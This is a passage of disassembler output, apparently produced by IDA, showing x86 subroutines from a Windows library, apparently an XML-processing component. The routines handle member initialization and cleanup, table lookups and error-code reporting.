		lea	ecx, [esi+0Ch]
		call	sub_69B8AC54
		lea	ecx, [esi+1Ch]
		call	sub_69B8AC54
		mov	[esi+2Ch], bl
		mov	[esi+2Fh], bl
		mov	[esi+2Dh], bl
		mov	[esi+2Eh], bl
		mov	[esi+30h], bl
		pop	esi
		pop	ebx
		retn
sub_69B8B632	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B6C8	proc near		; CODE XREF: sub_69B8E980+15Ep

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		mov	ecx, [edi+4Ch]
		test	ecx, ecx
		jz	short loc_69B8B6F3
		push	dword ptr [esi+8]
		call	sub_69B1980A
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B8B6F3
		push	dword ptr [esi+8]
		mov	ecx, [edi+4Ch]
		call	sub_69B17DC6
		jmp	short loc_69B8B6FF
; ---------------------------------------------------------------------------


loc_69B8B6F3:				; CODE XREF: sub_69B8B6C8+Ej
					; sub_69B8B6C8+1Cj
		push	0
		push	0
		push	esi
		call	sub_69B8CBBB
		mov	ebx, eax


loc_69B8B6FF:				; CODE XREF: sub_69B8B6C8+29j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_69B8B6C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B707	proc near		; CODE XREF: sub_69B5B47E+26p
					; sub_69B8E980+102p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		lea	esi, [ecx+4Ch]
		cmp	dword ptr [esi], 0
		push	edi
		jnz	short loc_69B8B71E
		call	sub_69B315A6
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8B71E:				; CODE XREF: sub_69B8B707+9j
		mov	edi, [esp+0Ch+arg_0]
		mov	eax, [edi+8]
		mov	ecx, [esi]
		push	eax
		call	sub_69B1980A
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B8B748
		push	eax
		push	eax
		push	edi
		call	sub_69B8CBBB
		mov	ecx, [esi]
		mov	ebx, eax
		push	ebx
		push	dword ptr [edi+8]
		call	sub_69B3182D


loc_69B8B748:				; CODE XREF: sub_69B8B707+2Aj
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	4
sub_69B8B707	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B750	proc near		; CODE XREF: sub_69B4F873+135p
					; sub_69B4FCAC+9Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	esi, [edi+60h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8B779
		call	sub_69B17275
		neg	eax
		sbb	al, al
		inc	al
		push	eax
		push	1
		push	10h
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8B779:				; CODE XREF: sub_69B8B750+Bj
		push	[esp+0Ch+arg_4]
		mov	ebx, [esp+10h+arg_0]
		mov	ecx, [esi]
		push	ebx
		call	sub_69B3182D
		cmp	ebx, dword_69B95A18
		jnz	short loc_69B8B795
		mov	byte ptr [edi+30h], 1


loc_69B8B795:				; CODE XREF: sub_69B8B750+3Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_69B8B750	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B79B	proc near		; CODE XREF: sub_69B8BC27+4Fp

arg_0		= dword	ptr  4

		mov	ecx, [ecx+60h]
		test	ecx, ecx
		push	esi
		jz	short loc_69B8B7CE
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_69B8B7CE
		push	esi
		call	sub_69B1980A
		test	eax, eax
		jz	short loc_69B8B7CE
		cmp	esi, eax
		jz	short loc_69B8B7CE
		cmp	dword_69B95A18,	eax
		jz	short loc_69B8B7CE
		xor	ecx, ecx
		cmp	dword ptr [eax+40h], 4
		setnz	cl
		mov	al, cl
		jmp	short loc_69B8B7D0
; ---------------------------------------------------------------------------


loc_69B8B7CE:				; CODE XREF: sub_69B8B79B+6j
					; sub_69B8B79B+Ej ...
		xor	al, al


loc_69B8B7D0:				; CODE XREF: sub_69B8B79B+31j
		pop	esi
		retn	4
sub_69B8B79B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B7D4	proc near		; CODE XREF: sub_69B5B263+78p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		lea	esi, [ecx+64h]
		cmp	dword ptr [esi], 0
		jnz	short loc_69B8B7F9
		call	sub_69B17275
		neg	eax
		sbb	al, al
		inc	al
		push	eax
		push	1
		push	0Bh
		call	sub_69B315DA
		push	eax
		push	esi
		call	sub_69B17320


loc_69B8B7F9:				; CODE XREF: sub_69B8B7D4+7j
		push	[esp+4+arg_4]
		mov	ecx, [esi]
		push	[esp+8+arg_0]
		call	sub_69B3182D
		pop	esi
		retn	8
sub_69B8B7D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B80C	proc near		; CODE XREF: sub_69B8B9D9+87p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [ecx+48h]
		test	eax, eax
		push	esi
		jz	short loc_69B8B847
		push	1
		push	eax
		call	sub_69B3156E
		mov	esi, eax
		jmp	short loc_69B8B83C
; ---------------------------------------------------------------------------


loc_69B8B820:				; CODE XREF: sub_69B8B80C+39j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		mov	ecx, [eax+8]
		cmp	ecx, [esp+4+arg_0]
		jnz	short loc_69B8B83C
		mov	ecx, [eax+0Ch]
		mov	ecx, [ecx+0Ch]
		cmp	ecx, [esp+4+arg_4]
		jz	short loc_69B8B849


loc_69B8B83C:				; CODE XREF: sub_69B8B80C+12j
					; sub_69B8B80C+22j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		test	al, al
		jnz	short loc_69B8B820


loc_69B8B847:				; CODE XREF: sub_69B8B80C+6j
		xor	eax, eax


loc_69B8B849:				; CODE XREF: sub_69B8B80C+2Ej
		pop	esi
		retn	8
sub_69B8B80C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8B84D	proc near		; CODE XREF: sub_69B8BBC2+55p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		mov	ecx, edi
		mov	byte ptr [esi+2Fh], 1
		mov	byte ptr [esi+2Ch], 1
		call	sub_69B17275
		mov	ecx, esi
		mov	ebx, eax
		call	sub_69B17275
		cmp	eax, ebx
		setnz	al
		cmp	dword ptr [edi+48h], 0
		mov	byte ptr [ebp+arg_0], al
		jz	short loc_69B8B8A9
		lea	ebx, [esi+48h]
		cmp	dword ptr [ebx], 0
		jnz	short loc_69B8B892
		call	sub_69B315A6
		push	eax
		push	ebx
		call	sub_69B17320


loc_69B8B892:				; CODE XREF: sub_69B8B84D+37j
		push	edi
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset sub_69B8CC29
		push	dword ptr [ebx]
		push	dword ptr [edi+48h]
		call	sub_69B8B124


loc_69B8B8A9:				; CODE XREF: sub_69B8B84D+2Fj
		cmp	dword ptr [edi+64h], 0
		jz	short loc_69B8B8DA
		lea	ebx, [esi+64h]
		cmp	dword ptr [ebx], 0
		jnz	short loc_69B8B8C3
		call	sub_69B315A6
		push	eax
		push	ebx
		call	sub_69B17320


loc_69B8B8C3:				; CODE XREF: sub_69B8B84D+68j
		push	edi
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	offset sub_69B8D097
		push	dword ptr [ebx]
		push	dword ptr [edi+64h]
		call	sub_69B8B124


loc_69B8B8DA:				; CODE XREF: sub_69B8B84D+60j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B8B84D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8B8E1	proc near		; CODE XREF: sub_69B5A96B+3j
					; sub_69B5CB6E+9Fp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+4Ch]
		test	eax, eax
		jz	short loc_69B8B935
		cmp	dword ptr [eax+0Ch], 0
		jz	short loc_69B8B935
		push	edi
		push	1
		push	eax
		call	sub_69B3156E
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+40h]
		cmp	byte ptr [esi+2Fh], 0
		mov	edi, eax
		mov	eax, [edi+8]
		mov	eax, [eax+10h]
		jz	short loc_69B8B91B
		push	eax
		mov	ecx, esi
		call	sub_69B5ABF5
		test	al, al
		jz	short loc_69B8B934


loc_69B8B91B:				; CODE XREF: sub_69B8B8E1+2Cj
		push	0
		mov	ecx, edi
		call	sub_69B8AFA4
		push	eax
		mov	eax, 0C00CE01Ch
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8B934:				; CODE XREF: sub_69B8B8E1+38j
		pop	edi


loc_69B8B935:				; CODE XREF: sub_69B8B8E1+8j
					; sub_69B8B8E1+Ej
		pop	esi
		retn
sub_69B8B8E1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8B937	proc near		; CODE XREF: sub_69B8BCA2+80p
					; sub_69B8D25F+7Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		mov	esi, [eax+8]
		push	edi
		mov	edi, ecx
		push	esi
		jz	short loc_69B8B995
		mov	ecx, ebx
		call	sub_69B8C678
		test	eax, eax
		mov	[ebp+arg_4], eax
		jnz	short loc_69B8B9CF
		mov	eax, [ebx+2Ch]
		cmp	byte ptr [eax+8], 0
		jz	short loc_69B8B984
		push	dword ptr [esi+10h]
		mov	ecx, edi
		call	sub_69B5ABF5
		test	al, al
		jnz	short loc_69B8B978
		cmp	dword ptr [esi+10h], 0
		jnz	short loc_69B8B9CF


loc_69B8B978:				; CODE XREF: sub_69B8B937+39j
		push	esi
		mov	ecx, edi
		call	sub_69B8B114
		test	eax, eax
		jnz	short loc_69B8B9CF


loc_69B8B984:				; CODE XREF: sub_69B8B937+2Bj
		cmp	byte ptr [edi+2Fh], 0
		jz	short loc_69B8B9B1
		mov	eax, [esi+10h]
		cmp	eax, dword_69B95A5C
		jmp	short loc_69B8B9AF
; ---------------------------------------------------------------------------


loc_69B8B995:				; CODE XREF: sub_69B8B937+14j
		mov	ecx, edi
		call	sub_69B8B114
		test	eax, eax
		mov	[ebp+arg_4], eax
		jnz	short loc_69B8B9CF
		push	dword ptr [esi+10h]
		mov	ecx, edi
		call	sub_69B5ABF5
		test	al, al


loc_69B8B9AF:				; CODE XREF: sub_69B8B937+5Cj
		jz	short loc_69B8B9CF


loc_69B8B9B1:				; CODE XREF: sub_69B8B937+51j
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+2Ch]
		push	eax
		mov	eax, 0C00CE015h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h
		xor	eax, eax
		jmp	short loc_69B8B9D2
; ---------------------------------------------------------------------------


loc_69B8B9CF:				; CODE XREF: sub_69B8B937+22j
					; sub_69B8B937+3Fj ...
		mov	eax, [ebp+arg_4]


loc_69B8B9D2:				; CODE XREF: sub_69B8B937+96j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B8B937	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8B9D9	proc near		; CODE XREF: sub_69B8BC27+66p
					; sub_69B8BCA2+55p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+8]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	dword ptr [edi+5Ch], 0
		jnz	short loc_69B8BA53
		mov	esi, [eax+10h]
		push	esi
		call	sub_69B5ABF5
		test	al, al
		jz	short loc_69B8BA4C
		test	esi, esi
		jz	short loc_69B8BA33
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_69B8AF80
		test	al, al
		jz	short loc_69B8BA33
		mov	ecx, [edi+60h]
		push	esi
		call	sub_69B1980A
		cmp	eax, esi
		jz	short loc_69B8BA33
		push	0
		push	[ebp+arg_0]
		mov	eax, 0C00CE139h
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8BA33:				; CODE XREF: sub_69B8B9D9+23j
					; sub_69B8B9D9+37j ...
		mov	eax, [ebx]
		mov	ecx, ebx
		mov	esi, 0C00CE00Dh
		call	dword ptr [eax+2Ch]


loc_69B8BA3F:				; CODE XREF: sub_69B8B9D9+C0j
		push	0
		push	eax
		push	esi
		push	esi
		call	sub_69B2E9D0
		add	esp, 10h


loc_69B8BA4C:				; CODE XREF: sub_69B8B9D9+1Fj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_69B8BA53:				; CODE XREF: sub_69B8B9D9+12j
		cmp	dword ptr [eax+10h], 0
		jz	short loc_69B8BA33
		mov	esi, [ebx+0Ch]
		push	esi
		push	eax
		mov	ecx, edi
		call	sub_69B8B80C
		test	eax, eax
		jz	short loc_69B8BA33
		test	esi, esi
		mov	edi, offset off_69B1F304
		mov	eax, edi
		jz	short loc_69B8BA94
		mov	eax, [esi]
		push	0
		mov	ecx, esi
		call	dword ptr [eax+2Ch]
		push	eax
		push	0FFFFFFFFh	; int
		push	offset asc_69B282D8 ; ":"
		call	sub_69B2EDFA
		push	eax
		push	edi
		call	sub_69B2F2CA
		add	esp, 10h


loc_69B8BA94:				; CODE XREF: sub_69B8B9D9+99j
		mov	esi, 0C00CE016h
		jmp	short loc_69B8BA3F
sub_69B8B9D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8BA9B	proc near		; CODE XREF: sub_69B8BD72+E9p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 0A8h
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B8BA9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8BAAE	proc near		; DATA XREF: .text:69B16D90o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8BAC9
		test	[esp+4+arg_0], 1
		jz	short loc_69B8BAC3
		push	esi
		call	sub_69B1829F


loc_69B8BAC3:				; CODE XREF: sub_69B8BAAE+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8BAAE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8BAC9	proc near		; CODE XREF: sub_69B8BAAE+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+1Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B8BAC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8BAEF	proc near		; DATA XREF: .text:69B16E74o
		push	esi
		mov	esi, ecx
		call	sub_69B8B632
		push	0
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B2DEB2
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B8BAEF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8BB15	proc near		; DATA XREF: .text:69B16E4Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B8BB30
		test	[esp+4+arg_0], 1
		jz	short loc_69B8BB2A
		push	esi
		call	sub_69B1829F


loc_69B8BB2A:				; CODE XREF: sub_69B8BB15+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B8BB15	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8BB30	proc near		; CODE XREF: sub_69B8BB15+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+64h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+60h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+5Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+58h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+54h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+50h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B2DEDD
		lea	eax, [esi+20h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+10h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B186FA
sub_69B8BB30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8BBC2	proc near		; CODE XREF: sub_69B4FA5E+10Ap
					; sub_69B8BD72+5Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		mov	esi, ecx
		mov	ecx, [ebp+arg_0]
		push	eax
		push	[ebp+arg_4]
		add	ecx, 3Ch
		call	sub_69B3BE6D
		test	al, al
		jz	short loc_69B8BC20
		push	[ebp+var_4]
		mov	ecx, esi
		push	[ebp+arg_4]
		call	sub_69B8B750
		push	[ebp+var_8]
		lea	ecx, [esi+0Ch]
		push	[ebp+arg_8]
		call	sub_69B5AED3
		push	[ebp+arg_C]
		mov	ecx, esi
		push	[ebp+var_C]
		call	sub_69B8B84D
		mov	al, 1
		jmp	short loc_69B8BC22
; ---------------------------------------------------------------------------


loc_69B8BC20:				; CODE XREF: sub_69B8BBC2+30j
		xor	al, al


loc_69B8BC22:				; CODE XREF: sub_69B8BBC2+5Cj
		pop	esi
		leave
		retn	10h
sub_69B8BBC2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8BC27	proc near		; CODE XREF: sub_69B8D25F+1D1p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [eax+8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_4], ecx
		push	esi
		call	sub_69B8B317
		mov	edi, [ebp+arg_C]
		push	dword ptr [edi]
		mov	ebx, eax
		push	[ebp+arg_8]
		push	ebx
		push	[ebp+arg_4]
		push	esi
		call	sub_69B9003D
		test	ebx, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_69B8BC70
		mov	ecx, [ebx+2Ch]
		push	eax
		call	sub_69B8F525
		mov	eax, [ebp+arg_10]
		and	dword ptr [edi], 0
		and	dword ptr [eax+20h], 0
		jmp	short loc_69B8BC98
; ---------------------------------------------------------------------------


loc_69B8BC70:				; CODE XREF: sub_69B8BC27+32j
		push	dword ptr [esi+10h]
		mov	ecx, [ebp+var_4]
		call	sub_69B8B79B
		test	al, al
		jz	short loc_69B8BC87
		mov	dword ptr [edi], 2
		jmp	short loc_69B8BC98
; ---------------------------------------------------------------------------


loc_69B8BC87:				; CODE XREF: sub_69B8BC27+56j
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_4]
		call	sub_69B8B9D9
		mov	dword ptr [edi], 3


loc_69B8BC98:				; CODE XREF: sub_69B8BC27+47j
					; sub_69B8BC27+5Ej
		mov	eax, [ebp+arg_10]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_69B8BC27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8BCA2	proc near		; CODE XREF: sub_69B8C084+1EAp
					; sub_69B8D46D+1Ap

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		mov	eax, [edi]
		mov	[ebp+var_4], ecx
		mov	ecx, edi
		call	dword ptr [eax+3Ch]
		push	[ebp+arg_8]
		mov	ecx, [ebp+var_4]
		mov	esi, eax
		mov	eax, [esi+8]
		push	eax
		call	sub_69B8B317
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_4], ebx
		jz	short loc_69B8BCF3
		mov	eax, [ebp+arg_14]
		test	eax, eax
		jz	short loc_69B8BCDB
		mov	byte ptr [eax],	1


loc_69B8BCDB:				; CODE XREF: sub_69B8BCA2+34j
		mov	esi, [ebp+arg_8]
		push	ebx
		lea	eax, [esi+18h]
		push	eax
		call	sub_69B17320
		mov	ecx, [ebx+2Ch]
		push	esi
		call	sub_69B8F525
		jmp	short loc_69B8BCFC
; ---------------------------------------------------------------------------


loc_69B8BCF3:				; CODE XREF: sub_69B8BCA2+2Dj
		mov	ecx, [ebp+var_4]
		push	esi
		call	sub_69B8B9D9


loc_69B8BCFC:				; CODE XREF: sub_69B8BCA2+4Fj
		and	dword ptr [edi+8], 0FFFFFFFBh
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_69B48F23
		mov	esi, eax
		test	esi, esi
		jz	short loc_69B8BD6B
		jmp	short loc_69B8BD16
; ---------------------------------------------------------------------------


loc_69B8BD13:				; CODE XREF: sub_69B8BCA2+C7j
		mov	ebx, [ebp+arg_4]


loc_69B8BD16:				; CODE XREF: sub_69B8BCA2+6Fj
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+3Ch]
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B8B937
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B8BD5A
		mov	ecx, ebx
		call	sub_69B8C6AD
		push	eax
		mov	ecx, esi
		call	sub_69B486A0
		push	ebx
		push	[ebp+arg_10]
		mov	ecx, esi
		push	1
		push	0
		call	sub_69B4B0C7
		push	0
		push	ebx
		push	[ebp+arg_C]
		push	esi
		push	[ebp+arg_0]
		call	sub_69B4E634


loc_69B8BD5A:				; CODE XREF: sub_69B8BCA2+89j
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, edi
		call	sub_69B486B5
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B8BD13


loc_69B8BD6B:				; CODE XREF: sub_69B8BCA2+6Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	18h
sub_69B8BCA2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B8BD72	proc near		; CODE XREF: sub_69B4F873+152p
					; sub_69B8C084+193p
		push	24h
		push	offset dword_69B8BEF0
		call	sub_69B19C5C
		mov	ebx, ecx
		mov	[ebp-1Ch], ebx
		mov	byte ptr [ebp-1Dh], 0
		mov	edi, [ebp+8]
		mov	esi, [edi+68h]
		push	dword ptr [ebp+10h]
		call	sub_69B5ABF5
		test	al, al
		jz	short loc_69B8BDC1
		push	dword ptr [ebp+10h]
		mov	ecx, ebx
		call	sub_69B8B0DB
		test	eax, eax
		jz	short loc_69B8BDB8
		cmp	byte ptr [eax+0B1h], 0
		jz	short loc_69B8BDB8
		push	eax
		mov	ecx, edi
		call	sub_69B3E7B0


loc_69B8BDB8:				; CODE XREF: sub_69B8BD72+33j
					; sub_69B8BD72+3Cj ...
		mov	byte ptr [ebp-1Dh], 1
		jmp	loc_69B8BEE4
; ---------------------------------------------------------------------------


loc_69B8BDC1:				; CODE XREF: sub_69B8BD72+25j
		test	esi, esi
		jz	short loc_69B8BDD8
		push	edi
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	esi
		mov	ecx, ebx
		call	sub_69B8BBC2
		test	al, al
		jnz	short loc_69B8BDB8


loc_69B8BDD8:				; CODE XREF: sub_69B8BD72+51j
		mov	ecx, [ebp+14h]
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	esi, eax
		push	esi
		call	sub_69B8AF80
		test	al, al
		jz	short loc_69B8BDFE
		push	dword_69B95A18
		push	dword ptr [ebp+10h]
		mov	ecx, ebx
		call	sub_69B8B750
		jmp	short loc_69B8BDB8
; ---------------------------------------------------------------------------


loc_69B8BDFE:				; CODE XREF: sub_69B8BD72+78j
		push	esi
		call	sub_69B8AF4C
		test	al, al
		jz	loc_69B8BEE4
		cmp	byte ptr [edi+83h], 0
		jz	loc_69B8BEE4
		and	dword ptr [ebp-24h], 0
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	edi
		push	dword ptr [ebp+0Ch]
		call	sub_69B8D901
		and	dword ptr [ebp-4], 0
		lea	ecx, [ebp-30h]
		call	sub_69B11D97
		mov	byte ptr [ebx+2Fh], 1
		push	dword ptr [ebp-2Ch] ; int
		push	dword ptr [ebp-30h] ; int
		push	dword ptr [ebp+10h] ; int
		push	dword ptr [ebp-28h] ; lpString
		mov	ecx, edi
		call	sub_69B3E825
		mov	esi, eax
		mov	[ebp-34h], esi
		push	dword ptr [ebp+10h]
		mov	ecx, esi
		call	sub_69B8BA9B
		lea	eax, [esi+0ACh]
		push	eax		; lpAddend
		call	ds:InterlockedIncrement	; InterlockedIncrement
		cmp	dword ptr [ebp+0Ch], 0
		jnz	short loc_69B8BE8C
		mov	ecx, edi
		call	sub_69B3D8EC
		test	al, al
		jz	short loc_69B8BE8C
		mov	byte ptr [esi+8Ch], 0
		mov	ecx, edi
		call	sub_69B3E8B5


loc_69B8BE8C:				; CODE XREF: sub_69B8BD72+FFj
					; sub_69B8BD72+10Aj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B8BEB5
; ---------------------------------------------------------------------------


loc_69B8BE92:				; DATA XREF: .text:69B8BEF4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B8BE9B:				; DATA XREF: .text:69B8BEF8o
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-24h]
		call	sub_69B1B2B7
		call	sub_69B2E860
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ebx, [ebp-1Ch]
		mov	esi, [ebp-34h]


loc_69B8BEB5:				; CODE XREF: sub_69B8BD72+11Ej
		push	dword ptr [ebp-24h]
		call	sub_69B1B2B7
		push	esi
		push	dword ptr [ebp+10h]
		mov	ecx, ebx
		call	sub_69B8B750
		mov	esi, [esi+6Ch]
		test	esi, esi
		jz	short loc_69B8BED6
		mov	ecx, esi
		call	sub_69B2E875


loc_69B8BED6:				; CODE XREF: sub_69B8BD72+15Bj
		mov	byte ptr [ebp-1Dh], 1
		mov	eax, [ebp+18h]
		test	eax, eax
		jz	short loc_69B8BEE4
		mov	byte ptr [eax],	1


loc_69B8BEE4:				; CODE XREF: sub_69B8BD72+4Aj
					; sub_69B8BD72+94j ...
		mov	al, [ebp-1Dh]
		call	sub_69B1853C
		retn	14h
sub_69B8BD72	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B8BEF0	dd 0FFFFFFFFh			dd offset loc_69B8BE92
		dd offset loc_69B8BE9B

; =============== S U B	R O U T	I N E =======================================



sub_69B8BEFC	proc near		; CODE XREF: sub_69B3C634+194p
					; sub_69B3DABE+Dp ...
		push	68h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B8BF0E
		mov	ecx, eax
		jmp	sub_69B16DBC
; ---------------------------------------------------------------------------


loc_69B8BF0E:				; CODE XREF: sub_69B8BEFC+9j
		xor	eax, eax
		retn	4
sub_69B8BEFC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B8BF13	proc near		; CODE XREF: sub_69B3F90C+110p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		mov	edi, ecx
		call	sub_69B8BEFC
		mov	esi, eax
		mov	al, [edi+2Ch]
		mov	[esi+2Ch], al
		mov	al, [edi+2Fh]
		mov	[esi+2Fh], al
		mov	al, [edi+30h]
		mov	ecx, esi
		mov	[esi+30h], al
		call	sub_69B17275
		mov	ecx, edi
		mov	ebx, eax
		call	sub_69B17275
		cmp	ebx, eax
		jz	short loc_69B8BFC5
		push	dword ptr [edi+3Ch]
		call	sub_69B2F0C4
		push	eax
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		mov	ecx, [edi+48h]
		test	ecx, ecx
		jz	short loc_69B8BF8F
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset sub_69B8CC29
